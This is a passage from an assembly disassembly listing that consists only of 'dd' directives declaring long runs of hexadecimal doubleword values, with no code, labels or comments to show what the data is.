		dd 3923A5B6h, 74752C17h, 0C0E00C26h, 4432B3C8h,	0D61BC57Bh
		dd 24480FDDh, 0CE3CA760h, 0F4C435EFh, 208062D5h, 4035AF30h
		dd 6C90A3E0h, 7402AB4Ah, 84F5D647h, 0C467AED4h,	4074C239h
		dd 10C8D4B1h, 0E0394F3Ch, 45FB0C2Bh, 0A690FA63h, 35DA048Ch
		dd 62CDF430h, 0A2332083h, 0C020835h, 0FB65A8A1h, 0A378E944h
		dd 99E2AC23h, 0B89C1A30h, 89E800A8h, 57614C25h,	0CE502887h
		dd 0FB7052D8h, 0B8630224h, 0C9EB9558h, 0B8019211h, 8779541Eh
		dd 40A875F8h, 619D3C92h, 0C714FDB0h, 0DBCDD328h, 715B0B98h
		dd 490734B1h, 0F9852ECBh, 5541488h, 737F7B8h, 0CCC8245h
		dd 11BDB330h, 88A57347h, 0AABE8DE6h, 0C561D420h, 49EBAF00h
		dd 3C6E7153h, 6408003Dh, 0F380407Ah, 0D1D2F9E3h, 98655800h
		dd 0EAD7EC26h, 4A0900Ah, 6CF74D3Fh, 9B4B0B8h, 72488A71h
		dd 2FA38238h, 9605003h,	1837711Dh, 9598B005h, 43588820h
		dd 0E8AB4F16h, 0E0402043h, 1768E7Fh, 53D3C465h,	60B11C3Eh
		dd 0E66C3FFCh, 8C0AF829h, 0C0AB15Bh, 0ED447CB5h, 0BDA8B840h
		dd 0A241DE4h, 0C018BC02h, 327736B9h, 3E58ECBFh,	0E111A89Dh
		dd 3A28380h, 0DA053806h, 738A95CBh, 1F278430h, 99008h
		dd 0EFE720FCh, 0F6E0BD72h, 3659B0A8h, 0A38C204h, 58A9A343h
		dd 21E0E318h, 1EF8EAB1h, 6589E00h, 2720C086h, 0CC5D58F3h
		dd 7782F909h, 67EB4020h, 481EDA34h, 2A07BA38h, 5AF547B3h
		dd 39838C20h, 0DF9F02EDh, 0CCF0ABB0h, 45167454h, 0DC41FB13h
		dd 0C88C0363h, 74771881h, 34EE6622h, 48CA2C0h, 63AF395Bh
		dd 1383820h, 51EA3943h,	308A0373h, 4C257698h, 4DE041DBh
		dd 0A8EA50D8h, 0F58694h, 4FC8119Bh, 1FE89D33h, 0A057EE00h
		dd 20196FBEh, 0A65C16B6h, 0EC6F65h, 505E1D14h, 3036A877h
		dd 16901017h, 5D414F4Ch, 65F1A060h, 2050F885h, 9779EBE0h
		dd 10402F0h, 0F0908F7Eh, 52B21C81h, 7DFA5424h, 9718A38Ah
		dd 0F8423FB5h, 59635EBAh, 18E7714Ch, 656C0638h,	90A2EC0Bh
		dd 633344E2h, 9393A859h, 4C582338h, 0A0BE3301h,	7C283E43h
		dd 0BE0BBBB0h, 8AF9CD05h, 94C7AA76h, 9541EA70h,	0F6745CF4h
		dd 0BA7DD862h, 0DE289040h, 0CF50BCB4h, 370AB8C3h, 0A098DBB0h
		dd 0A94DF384h, 0EAE538C4h, 5385E8A8h, 0C9AC217Eh, 1C6C3C5Fh
		dd 79C3352Ah, 25C234Ch,	0ED21FA20h, 209E0DA8h, 2822E823h
		dd 70B46D4h, 7344BDB0h,	3E7C9C39h, 1FAABBBh, 2D46DB40h
		dd 306727A0h, 0FD50C035h, 0F760957Ch, 91D41331h, 0EA4F21Ah
		dd 0C25FFC69h, 8464F6E1h, 1B0700FAh, 7BD2005Bh,	786C2789h
		dd 0D16436B8h, 9CA49540h, 505B005Eh, 18F1D049h,	3D0024E5h
		dd 0DA2E5631h, 80F82777h, 0E602F5F6h, 0B8675409h, 7B08E8DDh
		dd 7A960097h, 7DD2304Eh, 5004FCB1h, 0C092A79Eh,	9479CC1h
		dd 0F0482C34h, 1AF14C5Eh, 0F2C32F0Ch, 8282F458h, 0FEBDCE8h
		dd 0B4F37805h, 0F940814Ch, 9F491F92h, 0DF9383EAh, 46E058A9h
		dd 0C003A5EFh, 0DE6A74BBh, 57FEB822h, 154B8F5h,	4194785Ah
		dd 30910E6Fh, 0BAE873E8h, 77427A06h, 980A53h, 0B2FF4A38h
		dd 0C59C05D1h, 96737201h, 0CC7B7ED5h, 0ABE7FAF1h, 0A280C4AFh
		dd 0DCA6D3h, 62BAD0A0h,	6E8FD59Dh, 9B146052h, 9C809D42h
		dd 3EB9C3A0h, 0BA3978C5h, 61308BB1h, 70697096h,	7400AEEAh
		dd 7967F9A0h, 0C1DE8FC6h, 8EC18A90h, 891880A2h,	0B8DF60FBh
		dd 0DE8C03C6h, 0D59CC470h, 85E8287Eh, 0C3626C1Dh, 0C57A7200h
		dd 0CA0D38Eh, 8D7DBAA6h, 7B306E30h, 7CC559C3h, 2A0CA662h
		dd 84F9DCh, 7374AA9Dh, 0C48FC295h, 6E887550h, 0BBA79714h
		dd 7C037414h, 0DB2C401Ch, 65A5C0B0h, 4F49C08Bh,	0A4DF9A57h
		dd 31C0D371h, 0E7486B1Eh, 0CFEB0CC2h, 2719DB39h, 61AD6300h
		dd 0B5F5758Fh, 89741CD8h, 8ECA4798h, 583AA1A9h,	0D3892EDh
		dd 58C5400Dh, 7E5629F0h, 9070120h, 35C0B2CAh, 92A180BFh
		dd 1AE8DD2Ch, 5604265Fh, 96790CB6h, 0D94051A9h,	0E8B4EACFh
		dd 0A1551087h, 0F17B1AFCh, 891822E1h, 0CA3201DEh, 0D36890BCh
		dd 31E97B86h, 0FE41A801h, 505610F5h, 0DE54598Eh, 0B3301091h
		dd 2A88161Eh
		dd 0E9D94040h, 5CF538C1h, 0B898B2C6h, 491659E8h, 62A81C6h
		dd 18381879h, 4C7B3011h, 44259C1h, 0C8412DC0h, 6C25BE39h
		dd 34F52F4h, 33EBCB4Dh,	0A5F3194Ch, 0EC0C014h, 5E120028h
		dd 0DEEE67FCh, 3C79C0FEh, 38B3440Ch, 135830DDh,	0ED1DFCB9h
		dd 365EFC50h, 0E51E1529h, 0D830A4DEh, 0E06B1DF1h, 89DCB050h
		dd 5F73F1C1h, 318A382Eh, 95A46211h, 51144CB3h, 84405850h
		dd 28FA4458h, 0CE903402h, 20D0B0EFh, 0CF38261Eh, 2A304261h
		dd 188AD266h, 284C37DEh, 23134654h, 4311608Ah, 0A4A4A104h
		dd 59FC5221h, 46B40CE4h, 0D0B86169h, 210AEC05h,	0D3DA08F7h
		dd 118B4356h, 2782F72Ah, 288FC138h, 0C221AE30h,	7EDC0A08h
		dd 44B5BE21h, 0DF2221F0h, 50E2CF0Fh, 7A11D6A2h,	0FE12841Ah
		dd 46840C28h, 0F61EA152h, 153B210Ah, 66A8A0AAh,	1488D742h
		dd 283EC245h, 84F32A11h, 5CC9FC7Bh, 0E116C22h, 828C4818h
		dd 60064654h, 489E1134h, 86816031h, 0B5501716h,	84044011h
		dd 0E640DF35h, 0C9BE741Bh, 0C58CE68h, 7CC3A844h, 0A70CC4B1h
		dd 3609D991h, 0AC095486h, 0FD55116Ch, 428C21A4h, 0D066F458h
		dd 6AA5B114h, 38504474h, 2B0CBC99h, 0CF431FFh, 0C0580561h
		dd 4314D411h, 8AA02F9Bh, 0F0CA9816h, 0B873496Ch, 121DE8Ch
		dd 0EC11C06h, 7FC2307h,	0DEEFA144h, 61748788h, 0F881AD3Bh
		dd 0BB00A9BCh, 0B1DE60C6h, 3BC18C6Dh, 0A79D7E85h, 0A89F008Fh
		dd 0DA78058Eh, 0C2D87500h, 8B7B70CDh, 6EF892h, 68B1D58Ch
		dd 0B385A996h, 0B8AA7503h, 0A0D0DE61h, 0C3928AC0h, 68BAA811h
		dd 0C574D4E0h, 0B1AF6300h, 75D58D6Fh, 0F19F3CB2h, 0A7607300h
		dd 0C48AFB85h, 8C786CF0h, 9F3D727Bh, 0D1F4D8ADh, 90ACAF04h
		dd 74C48100h, 0FBC3607Dh, 0AE86296Eh, 25416218h, 5E1338C8h
		dd 24A43C26h, 53AAA800h, 0C520A88h, 0BE0C2FF5h,	34174218h
		dd 841FA9D9h, 8E9693BDh, 6C0D7C47h, 0F4C0C174h,	58791181h
		dd 90101CA0h, 890B384Ch, 46E739A2h, 58D4078Ch, 0F1A1E581h
		dd 9201D1F6h, 0D8881962h, 0F0B902F3h, 0F44D0863h, 0C42C853h
		dd 0FA408044h, 0C351AAF9h, 97D2A7D9h, 91DC0818h, 0C5FF39F9h
		dd 201175C0h, 0A3AA987Ch, 0A36A463Bh, 1C43600Ah, 10C1C87Ch
		dd 1886265Ch, 6882E431h, 9E29C4A2h, 0E3AE02h, 5F05496Bh
		dd 4281EA60h, 612B7004h, 2F5E40DBh, 791000EFh, 0F726195Fh
		dd 294178C3h, 0F3570A60h, 3DE08C1Eh, 8F11C0B5h,	3D80E218h
		dd 0AC212830h, 8C395488h, 7D9400D1h, 0F75B1A49h, 0B0B1DE41h
		dd 42171100h, 6109BBAh,	0FF4C97CCh, 8E5089B3h, 8C9F548h
		dd 0F228391Ah, 2BC6422h, 0EA8809C1h, 45F0C12Ah,	768F6DAh
		dd 4DBDD248h, 1DF9EAB3h, 0C489408Eh, 0A98C7DBAh, 9CB27C16h
		dd 0C2727862h, 98985864h, 1FD9F854h, 0D381DACEh, 688C80ADh
		dd 0F714A7DFh, 8044D06Eh, 24D7E2FDh, 60821550h,	54830476h
		dd 51E273A2h, 8000C9Ah,	9671B8E3h, 74895384h, 894C614h
		dd 0D888B48Fh, 0D088076Bh, 0A03ABEC5h, 7220DF20h, 102253D3h
		dd 9A08D829h, 4C07F14Eh, 0D1308A76h, 9A599466h,	31F4B314h
		dd 64092019h, 191049D3h, 4E1F108h, 0CD727004h, 9CB7A209h
		dd 0BD72E5C1h, 56F50C48h, 50408CB1h, 659E1AC6h,	68E928AAh
		dd 0C409BCD2h, 12DF89D8h, 48DD24DEh, 22DB91A4h,	0A0D944DAh
		dd 0A612A789h, 0CC48A524h, 0C222C391h, 0F8C8C144h, 8CA9008Ah
		dd 8EA5C7ACh, 0C1C6CEA6h, 52B8DE89h, 0DDCA84B3h, 0B0655D04h
		dd 0BCBA084Ah, 0E06F990Fh, 0D08822DCh, 8FFE3E8Ch, 89FC4300h
		dd 0B2C8BC56h, 6007D371h, 92D28B6Fh, 6A4150C7h,	42F59888h
		dd 7ADCD9D3h, 634FD0F0h, 0FF6340DEh, 0E8BC69C0h, 0D3A6B207h
		dd 4D59D9FEh, 4E87F48h,	0D559F57Fh, 0FA88302Bh,	810882A1h
		dd 0BE94A3FEh, 38897914h, 74C002ABh, 23E2AE60h,	0ACC18399h
		dd 0C509BB84h, 42F1804h, 3380BBEAh, 717CC839h, 0E9611B01h
		dd 0FF5FB457h, 72012185h, 0C0382AD0h, 823D1CCEh, 7D100F11h
		dd 7A86DDD7h, 1500188Eh, 0C2715EBBh, 28CF8489h,	1CB442h
		dd 21E67686h, 92A81DD2h, 2F28D552h, 8EE4538Dh, 0F44C98AAh
		dd 1B602A41h, 1C697431h, 2F75A7h, 951177DBh, 0C6AC737Fh
		dd 579820C0h, 3EF9414h,	561CCDEh, 0C100E95Fh, 3A3C2476h
		dd 1C86B0ECh, 7A87F7D8h, 507EE160h, 5303BCB9h, 0A54C1917h
		dd 8CFA8EFh, 517B2Dh, 0E96B9C1Fh, 4BD0AFBEh, 0FBBD501Ch
		dd 620347C0h, 1974D27Fh, 6004C03Ch, 725A0098h, 320A035Bh
		dd 8A16DB38h, 0C484D107h, 20E0D8FCh, 306691Ch, 707C4A77h
		dd 56BB42F8h, 0D055B82Fh, 87AC0C20h, 59A9DE86h,	0EB397079h
		dd 8EF83DC2h, 60267BD6h, 96F3543Dh, 0B6210F2Eh,	0B100489Dh
		dd 0FD3A7C73h, 460F8A00h, 2D1F7D66h, 185000CCh,	0BBD66C19h
		dd 7600F82Eh, 8A963408h, 7E4250Bh, 2D48188Ch, 0F728C07Fh
		dd 35742B9Bh, 3107617Eh, 227E96F8h, 29C39F4Fh, 0F135EA9h
		dd 270A6E40h, 32845280h, 7E5598E3h, 135DF040h, 3CF0C6E0h
		dd 0F82883Eh, 0AA93401h, 0D740302Ah, 29FA2CBBh,	971C185Ch
		dd 0E218AE85h, 73AF2D38h, 5DA90A0Fh, 65602F0Eh,	7E8C0A8Bh
		dd 0FB0EDE04h, 8128185Dh, 0BB6E4A5Ch, 2DFD14D1h, 0F89B1858h
		dd 99CC0034h, 0DB93330Bh, 0D4152748h, 802C795Ch, 1C8AF71Ah
		dd 9CF6002Dh, 83CA8854h, 0FA533C4Fh, 0B52D2438h, 70E16D07h
		dd 76C71A01h, 145D3FC1h, 7E401Ch, 12D9E13Fh, 0E4989122h
		dd 83142B74h, 74F8190Eh, 0A1D52605h, 5010884Ah,	97B8AA04h
		dd 442A8E07h, 3B417298h, 74F0BB9Ah, 0A831DF6h, 199B0430h
		dd 1234C02Ch, 9AF737h, 1D605CE8h, 2759D728h, 19892E1h
		dd 651798D2h, 0C4198269h, 409861E4h, 275850C0h,	780BB52Dh
		dd 0A820993Fh, 8BE13E6Ch, 0ECD34870h, 9824263Ch, 0B7666174h
		dd 9028F3D9h, 48560D7h,	574BC27Fh, 1A083040h, 29B7A905h
		dd 9092F918h, 49404C8Dh, 6B02586Dh, 24E45DF9h, 684B54C0h
		dd 0D0539D26h, 418AF607h, 0D769081h, 85C4089h, 0AB7C080h
		dd 9B07CC03h, 9AFA315Eh, 590E174Eh, 3D714E18h, 99E42C01h
		dd 706021E5h, 0FC274C1Ch, 8D12263Ah, 90A40387h,	81CF155Eh
		dd 0F037E69Bh, 1833E451h, 0B32458F6h, 0A96BB852h, 8D40C35Fh
		dd 43E70E6Eh, 903C0A76h, 64B87050h, 0FA1D597Ch,	633C14B7h
		dd 0E05CE4A1h, 7498F718h, 52CC16E7h, 3E18344Bh,	0F852AA04h
		dd 0F81B0F83h, 0CCA55EC3h, 1005D9D4h, 1AB7F933h, 0F0BB608Ch
		dd 0FE290321h, 0A8275D8Ah, 27B89D9Ch, 6FD30118h, 597160E5h
		dd 64FB1C30h, 81FA0898h, 0C58D2DE8h, 300BF314h,	0FE5270Fh
		dd 5DFD007Ch, 12F7020Eh, 896D0376h, 0EF041A40h,	0F8474BC1h
		dd 0AAC4648Ch, 0B4B002E8h, 13E467EFh, 0C673759h, 9AB003CBh
		dd 9B181B0Eh, 18C91019h, 0BE1E336h, 48C46234h, 295D1A1Ch
		dd 62DC6209h, 65E494C4h, 900B5026h, 0E58C6FC0h,	68489B02h
		dd 600998F4h, 0DF188A10h, 20F1E68h, 260E53C6h, 0FA2920E4h
		dd 0F692C5Ch, 0A80983Ch, 5DCC1E27h, 58D41815h, 8C058D19h
		dd 9AFD2C0Eh, 0D9F704C0h, 9AFEF56Ch, 17504018h,	5F389B4Ah
		dd 5F043DF2h, 0BB3F1201h, 0DAC62E83h, 1061F084h, 0E12D3711h
		dd 184EF674h, 0C820538Bh, 18619827h, 1FA92D2Dh,	352B4050h
		dd 8165F96h, 0D805F927h, 64D79D2Dh, 2185320h, 0D940AAF8h
		dd 0E50A2F8h, 84383DB7h, 0F72E3982h, 5FD220E8h,	8430E46Fh
		dd 44F03319h, 275EE836h
		dd 3C922D0Eh, 3ABBD479h, 54090083h, 18E461FBh, 1991EFAh
		dd 309B0B34h, 1C5E8C83h, 90E091A2h, 7E1F9D49h, 0B020555Ch
		dd 0E1601850h, 0D5352103h, 28149B0Eh, 15E584C6h, 96F850F4h
		dd 0BB2DC1C8h, 7C68850Eh, 0E0C14D85h, 0E875021Dh, 0AFA2340Bh
		dd 9B7BEC58h, 68C850BEh, 2AF8F5Dh, 90EEF62Bh, 0A81F7F3Fh
		dd 6B00F0F9h, 6885A66Ch, 1D175D98h, 0CB7F71Ah, 0F821E403h
		dd 19156F03h, 85098CCCh, 245EC803h, 34902DE5h, 2FD7E090h
		dd 99F81817h, 104BF8D9h, 1DE097F3h, 7C3AA919h, 5E097C1Bh
		dd 508D341Ah, 7CAAE860h, 0DCFA5014h, 5EE52D33h,	158AA001h
		dd 47B06B27h, 98E41326h, 18B88208h, 790AE053h, 8C20C448h
		dd 4EA508F1h, 0E0F8605Eh, 8B18FB03h, 1BD8385Dh,	5CF62834h
		dd 79B7E8DCh, 1E5C90BBh, 1911A14h, 8CFA2C84h, 0E1043102h
		dd 0A840E22Eh, 510A3415h, 0B03661B4h, 0FF00A15h, 0A5FB015Eh
		dd 0DCF34B0Eh, 19377877h, 0E93A5952h, 6B0A0124h, 0DC325855h
		dd 306059FAh, 51301730h, 0D420B65Ah, 4887FD29h,	0F0514402h
		dd 6429F409h, 9F0D293h,	30702042h, 300FCC7Ch, 8C9BF701h
		dd 2821E828h, 0C9F0C629h, 1845D7E0h, 0FA4650FFh, 32155109h
		dd 3FDC80CCh, 0B5EF2h, 5372D34h, 6822F0E1h, 39447900h
		dd 0BDA527F8h, 49E00EC0h, 0E880B937h, 448E4BA2h, 88B06F0Ch
		dd 8A20BBh, 0DD7BBEA9h,	9574B680h, 759A2600h, 0B934963Bh
		dd 0EA6C30F3h, 486AC588h, 0B0588F00h, 1D40FFE1h, 2B953B75h
		dd 0A6531300h, 57698422h, 277EB007h, 0F0E5A7B2h, 46552038h
		dd 395A0619h, 0CF08AC3h, 9C540D45h, 0D70AE090h,	88428037h
		dd 3A888680h, 763C42Bh,	0ABAD9425h, 908E455Ah, 3A80830Ch
		dd 0A40EB777h, 64DAA017h, 0B94F8D61h, 7DC2B20h,	9D00C2B1h
		dd 0C8E4B884h, 0A8305A25h, 4014E540h, 0DE30CBCAh, 50119C6h
		dd 0F17C0AAEh, 90AD97h,	0C438137Ah, 82E70407h, 7C22A730h
		dd 2484A55Ah, 8C20B844h, 2EBCD240h, 1729DE47h, 0C00F0D1h
		dd 87C21420h, 0AAEB0544h, 326CF53Eh, 1506E61Ch,	3D260EE9h
		dd 0FB203FD0h, 877285C0h, 2D363503h, 9766A6h, 2CF56B59h
		dd 0CB99E131h, 90BFA33h, 4B210787h, 80592C9Dh, 90F022C5h
		dd 9E0D0A0h, 1B372F3Ah,	0C080898Fh, 0D325EDh, 0E3B504BBh
		dd 7422DACAh, 2030856Ah, 0BDDB2808h, 911C51Ch, 38005F7Eh
		dd 96860AD6h, 0CAED7C14h, 0E5BCC860h, 781C3217h, 9461D405h
		dd 9418CC95h, 0B4C3E918h, 129208A9h, 34478FBh, 73530B7Ch
		dd 34E3780Ch, 44D66072h, 6024094Fh, 56E05CA7h, 270F2BA6h
		dd 984A2FEDh, 14995882h, 5C1E784Fh, 80C49460h, 0F6BA42F1h
		dd 7F00B189h, 0BE8FCAC7h, 387A333Fh, 8E1CE078h,	81A9B741h
		dd 4320DAF0h, 76810E08h, 0F2D82243h, 40101A6Bh,	98CC113h
		dd 9E300D44h, 182EAC11h, 503A048Fh, 325AABC4h, 0A66620B4h
		dd 8E03073Bh, 0E4DFC5AAh, 14875CBh, 1DF26E17h, 20B3E251h
		dd 0B01519B8h, 7FF4B760h, 4D004BF6h, 0F3B8181Eh, 2630559Fh
		dd 7C446CCCh, 0F1B01D23h, 3C17E21Dh, 8C30D795h,	2A3A8980h
		dd 448C9BC4h, 8100848Fh, 0B7EB993Ah, 0EE772122h, 0E8401CBBh
		dd 0E879556Ah, 0A12D2909h, 2CF4CC30h, 0B1E13410h, 2C9C48E0h
		dd 0DA9BAB03h, 7071FC7Ah, 0EC1514D0h, 970E90FAh, 0CBC0E51Ah
		dd 0D843F5AEh, 18902671h, 98D0EB1Dh, 310F7C60h,	0D9183D7Fh
		dd 0D4682569h, 2C1C1DB2h, 2340DC3Ch, 86A9C034h,	16E00F5h
		dd 0ED9D16B9h, 0B00E675h, 85F1D91Ch, 18ECEE1Dh,	8090AC17h
		dd 0FF1D05ADh, 6D5533Ah, 55F3014Ch, 0EF653879h,	0B60024h
		dd 3EF0D735h, 5159742Dh, 0C3088566h, 917C21h, 15E766D7h
		dd 8C5AC0B4h, 0C4902C9Ah, 0FE80C9ECh, 943402B1h, 9A7BF8D6h
		dd 0F19694A0h, 7CAD42A6h, 8062DE08h, 1AFB9B56h,	2498B98Fh
		dd 0E6E98D01h, 0B308D03Eh, 2A503882h, 0C14426h,	181F05C7h
		dd 0C0287D0h, 0FADF9D8Bh, 515E08C8h, 4C64E660h,	64FDEBB9h
		dd 0BC530856h, 393D004Ch, 0D85FF5E6h, 28A60236h, 7057E1Fh
		dd 54679898h, 527923h, 3EC6D61Fh, 808576FDh, 0B5D73173h
		dd 0CE045E83h, 74A82D40h, 42E61080h, 0BD6702FDh, 7632080Eh
		dd 0BFFB4040h, 4526B506h, 0C8938Ch, 9CEFD3FDh, 6AF04FE8h
		dd 405F8130h, 9258E16Fh, 9A15057Ch, 13A2FBC0h, 90B01090h
		dd 18770450h, 29431469h, 9499335Bh, 580D2505h, 3ECDD843h
		dd 68A4FAF8h, 0BA62F0CCh, 7B370540h, 0D016C4A2h, 592A7258h
		dd 57562018h, 1E58920h,	0B505A183h, 8006148Ah, 9CBE50C9h
		dd 0F83D5Ah, 0C0BC6E22h, 751EE843h, 0ADEB20C4h,	6583B481h
		dd 2C08CA0Ch, 0C4C1E01Eh, 0F2224086h, 1AE15B2Ch, 802142D8h
		dd 603BC804h, 10F5D736h, 0C874853Eh, 2E9680C7h,	49E8C9D7h
		dd 0F0B4D301h, 0EEDF89D4h, 0A84F458h, 0BF1FE834h, 5021388h
		dd 60DE98CCh, 7407E3CCh, 0F130CF65h, 0E7C5CC30h, 18BF6060h
		dd 0F0E3262Bh, 77C592Eh, 91DBFC09h, 8E182DE8h, 0C4513A04h
		dd 5CCB5873h, 3BA16D00h, 6A682AA5h, 0B2476605h,	0CC30D4E6h
		dd 498B0273h, 46837898h, 0F8F785E6h, 8B77C2h, 45E64E84h
		dd 6D18A298h, 0A9196CD9h, 0BD1600EBh, 1D8D377Eh, 47000310h
		dd 0C4E16E45h, 0DE6F8022h, 0CFD44E8h, 0C18C50FBh, 0EC400463h
		dd 381E020Ah, 0C9126936h, 71004CA0h, 84CAB879h,	85C08834h
		dd 21C43E3Ah, 0B5915ABBh, 57C6800h, 0DDB1EE74h,	6090D4E2h
		dd 0C0D82F55h, 64487F2Dh, 2CCEC62Ch, 2CE14978h,	56808488h
		dd 52B12C96h, 8304935Eh, 94F9F883h, 10042958h, 5E0020DEh
		dd 6C1DE58Ah, 0C93A2E2h, 5F801E06h, 911C3EC9h, 0DE09FA03h
		dd 78B3574Eh, 78660CD2h, 0D7E1B709h, 3ED810B9h,	504324E8h
		dd 0D8E30598h, 6F05672h, 18279FF0h, 6300FC8Ch, 180BF3E3h
		dd 0E25F1E5h, 20E18A40h, 0B4904B69h, 980B63Ch, 0B1D10954h
		dd 0BC9486E0h, 0D447FB26h, 0A6FFAC3h, 928FE879h, 9F560050h
		dd 48B5065Dh, 0B611C490h, 4623796Bh, 0CAD61302h, 9942623Eh
		dd 0AF10C0C4h, 7DF4D72Bh, 0DE529D00h, 2E0E1CE5h, 0CBF925F0h
		dd 0C15D1007h, 3465FC32h, 2F1DA498h, 0C440479Eh, 0E3446790h
		dd 87461028h, 544DD2Bh,	408AE14Ch, 4108D850h, 0F9CC41D9h
		dd 1C41DEA7h, 9E185EFh,	4041F11Bh, 3C32BC51h, 1FE64074h
		dd 4379FB9Eh, 6A620840h, 75649CB5h, 0E10BFFEEh,	21A48517h
		dd 40B04248h, 0B87F8082h, 80A0BC65h, 61B57C85h,	0A61DEA00h
		dd 0CCF7B8Eh, 0A3F60B9Fh, 0B0016A02h, 438FEF35h, 3CC9C49Eh
		dd 4B6C6594h, 8853C4F4h, 75C42530h, 0DB83AC1h, 74261AF3h
		dd 0BC569900h, 0C5EA28FCh, 5EE40206h, 30780D17h, 0E5C1415Ch
		dd 0ACA5C378h, 826B820h, 96178CBh, 4070EF16h, 0A6B8A980h
		dd 982851F0h, 6BD82920h, 0C18C08C8h, 80BCCD15h,	0E2DCDF56h
		dd 0BAB0E607h, 818B0928h, 0CC8215A6h, 84414573h, 12386385h
		dd 0AC627C1Ch, 98DC46FBh, 232A24B0h, 0E1AD8088h, 3FF83940h
		dd 2CE124BAh, 2DF5B9C4h, 2F003D0Ch, 0C7D8A14Ah,	156068AFh
		dd 0F0EDA77Ah, 0DA424509h, 0ECAFD418h, 32128079h, 68407E54h
		dd 0B9619FFDh, 2AE70208h, 0E89579D1h, 28E12846h, 8C84B844h
		dd 0D2487AFCh, 0B8407E6Ch, 48454D83h, 0FFD73700h, 112D4221h
		dd 0E4DCA229h, 3EF3E080h, 9B87EDDh, 62A07ADAh, 81963804h
		dd 425246F4h, 64C076A0h, 0DF809D84h, 0BC244922h, 0B1D1Ch
		dd 4487C738h, 17186FD6h
		dd 0E478D143h, 0D723634h, 18902148h, 18024546h,	153ECBD6h
		dd 7012CD31h, 8354ECC0h, 0EAE1F00h, 7DD36452h, 166E27E8h
		dd 235BC0A0h, 8140F94h,	1DBC77C2h, 50FA6FA6h, 9C915510h
		dd 509C8025h, 0C1FF99E2h, 0AC4C0B10h, 0EE4C70C2h, 0E08B0331h
		dd 80246668h, 9EBC2705h, 8991749Dh, 80C45784h, 0BDA32F60h
		dd 0B64DF09Ah, 0B1C11FD4h, 0C708DD0h, 8F65A62Ah, 18ECDED9h
		dd 9C0A2F77h, 0A0F4FB7Ch, 0B81A1E17h, 0C484C740h, 0FFD860C0h
		dd 2B0F0366h, 8927F0EBh, 0A52D8112h, 2CE03C60h,	0B991E610h
		dd 0C854C0CCh, 802AD92Ch, 4800885Ch, 4625178Fh,	0AE5CC8Eh
		dd 0E81160E9h, 0CAE205ACh, 23A02FFFh, 3B9100B0h, 0F5E77B7h
		dd 0BE7A1727h, 2D904364h, 0FC0C0A26h, 805E6709h, 0BE200F20h
		dd 0DBE49EC1h, 0E120509Ch, 9E18CCEFh, 217CB134h, 2C6EB0B0h
		dd 0E06C73F2h, 3AE2B5Ah, 5E0EC00h, 8B35CD07h, 642A5829h
		dd 0CB2465D3h, 0CFB4C818h, 44684320h, 0D84C24E5h, 0DC5C0D0h
		dd 14E12939h, 985E36F0h, 98F83D00h, 34C0E543h, 626DE06h
		dd 75513288h, 426424A5h, 0C8D00084h, 0B5BE51F5h, 0A1EEEB7Ch
		dd 720939C2h, 969C4180h, 50095066h, 52098FE6h, 8B7050B0h
		dd 383E80h, 169A57E6h, 8A1319ADh, 48321D2Ah, 6FC29E04h
		dd 0E08194C5h, 45008848h, 48B274DDh, 436A0301h,	7DB18963h
		dd 119459A6h, 0E63D80C9h, 942C4482h, 45395888h,	538AE601h
		dd 0E994DDFFh, 2C50A869h, 6F58442Eh, 0C450142Ah, 3C22A728h
		dd 0D94F7AF0h, 0D805A456h, 2004BF47h, 17214EC2h, 0F32E1070h
		dd 382F48F9h, 1F582093h, 0B900ED51h, 0D790C138h, 4B7AFB59h
		dd 1F8026Bh, 70517C2Dh,	1F2CCF81h, 503CC9E0h, 2C9749B0h
		dd 1EBFAA02h, 437A646Ah, 4A95A30h, 19FD0A0h, 969D22A6h
		dd 11ED6852h, 0C0043891h, 0ACD0FF73h, 788700E0h, 14E126DFh
		dd 9B0C0BCEh, 39EAC37Bh, 0A0FC0B50h, 20B2C66Fh,	0EABD440h
		dd 5151FAE0h, 0C0142C8Ch, 1F80040Bh, 34930907h,	7C40ABE0h
		dd 0F8051D85h, 0EBE5CEBFh, 0E554F449h, 60FAC460h, 0E0D03E9Dh
		dd 68494A2h, 0D86E8220h, 465EF096h, 65C700C2h, 0FBCA4270h
		dd 5722073Eh, 0B62BB337h, 0CE0029B4h, 4F40BA86h, 5392BDh
		dd 0AC351C7Ch, 0F45F7A04h, 0CCB1C60Ch, 0A2B90A0h, 91F9F896h
		dd 137A80E0h, 880FE3FDh, 8EE4C248h, 0A2D9E419h,	127144A0h
		dd 57B20C69h, 583420D8h, 24EE4247h, 0DE8A1000h,	52C49020h
		dd 0AB8005CEh, 8486B3E7h, 0CF8021CCh, 818ACDB1h, 6AF03A88h
		dd 82188EBh, 41BCD860h,	0ECA088D9h, 0F0668294h,	0E4905802h
		dd 0FA4C542Bh, 8A2E7008h, 0BF81C859h, 0B0349DC9h, 7724D8C2h
		dd 2C209685h, 0C0467608h, 6306C404h, 170F480h, 9E247D74h
		dd 0FD09F49Dh, 0A76C2048h, 0B1836D2Bh, 70C300C8h, 42D02E6h
		dd 0B8143800h, 774B2693h, 0B7FAA4h, 12A91775h, 0CDA80EACh
		dd 1E488DEEh, 0F95E08BCh, 960C098Ah, 3406CC89h,	0A62959FEh
		dd 3A848032h, 0DCA4652Ah, 0FC150045h, 49569EDh,	8464BC6Ah
		dd 0FC08718h, 58A2CC89h, 7F40026h, 418B0FF8h, 78890C45h
		dd 98B83814h, 2531F022h, 92E8200Dh, 56278113h, 7BFB9402h
		dd 965C504Fh, 0DB9D404Ch, 88021F6Dh, 2BF1A4C9h,	0F8D041F4h
		dd 6527A182h, 34D077FCh, 14880F78h, 5F05E84Ch, 5BA0043Ch
		dd 0C404A837h, 65059D60h, 0D934A06Ah, 2021C76Fh, 0A9985A39h
		dd 4AC47721h, 3C3010F8h, 30241092h, 0A45AC582h,	0B48110F0h
		dd 8AE4E0A5h, 0B8DDA8A8h, 9890F858h, 0A0B34880h, 5CCA6F08h
		dd 0C92EF04Eh, 0BDFD0038h, 21D865E5h, 146810D4h, 7818CFD0h
		dd 8158894h, 0BA0978B0h, 0C844F89Dh, 4D20E08Ch,	390458DEh
		dd 88B277E8h, 0FA3E9664h, 0A0706278h, 7B6440C2h, 54B94DD9h
		dd 82CF8C51h, 0E80500FBh, 812E0ADh, 80276A7Eh, 15D87770h
		dd 10596CE9h, 575C6670h, 170B82F0h, 0C58481A4h,	71E60442h
		dd 13E30908h, 497500Bh,	0D382FA91h, 8C86BDEh, 2500B93Fh
		dd 0CF2373A3h, 91455C3h, 0DF20E60Bh, 4CF04449h,	3DEB6F94h
		dd 0E66072CCh, 8218A759h, 0ADB40080h, 799DC33Fh, 6307205Dh
